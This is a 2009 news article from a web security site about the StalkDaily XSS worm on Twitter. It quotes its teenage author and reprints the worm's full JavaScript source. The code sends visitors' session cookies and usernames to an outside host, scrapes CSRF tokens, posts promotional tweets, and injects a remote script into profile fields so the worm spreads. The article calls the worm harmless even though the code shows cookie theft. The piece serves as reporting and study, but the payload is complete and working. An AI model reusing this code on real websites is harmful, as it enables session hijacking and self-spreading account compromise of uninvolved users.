Advertisements

 17-year-old promoted his website on Twitter with harmless XSS worm

Written by DP

Wednesday, 15 April 2009

Curt Monash on Slashdot wrote: "Twitter was hit Saturday by a worm that caused victims' accounts to tweet favorably about the StalkDaily website. Infection occurred when one went to the profile page of a compromised account, and was largely spread by the kind of follower spam more commonly used by multi-level marketers. Apparently the worm was an XSS attack, exploiting a vulnerability created in a recent Twitter update that introduced support for OAuth, and it was created by the 17-year-old owner of the StalkDaily website. More information can be found in the comment thread to a Network World post I put up detailing the attack, or in the post itself. By evening, Twitter claimed to have closed the security hole."  

Mikeyy Mooney, the 17-year-old from Brooklyn, New York, described to BNO News how he carried out the attack:
“I am the person who coded the XSS which then acted as a worm when it auto updated a users profile and status, which then infected other users who viewed their profile. I did this out of boredom, to be honest. I usually like to find vulnerabilities within websites and try not to cause too much damage, but start a worm or something to give the developers an insight on the problem and while doing so, promoting myself or my website.”

As Twitter said, and Mikeyy confirmed, the worm was mostly harmless. No passwords or other sensitive information were stolen in the attack.

Twitter/StalkDaily XSS worm source code (gist.github:93738):

function XHConn()
{
  var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true);
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete)
{
bComplete = true;
fnDone(xmlhttp);
}};
xmlhttp.send(sVars);
}
catch(z) { return false; }
return true;
};
return this;
}

function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

function wait()
{
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var randomUpdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);

Related News / References:
"Twitter Gets Slammed By The StalkDaily XSS Worm", Curt Monash, Network World - 12 Apr 09
"A simple overview of the Twitter StalkDaily virus", Curt Monash, Network World - 12 Apr 09
"17-year-old claims responsibility for Twitter worm", Jake Bialer and Michael van Poppel, BNO News - 12 Apr 09
"Second Twitter worm infects user profiles; author says more to come", Michael van Poppel, BNO News - 12 Apr 09
"Wily Weekend Worms ", Twitter - 12 Apr 09


        
Advertisements
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.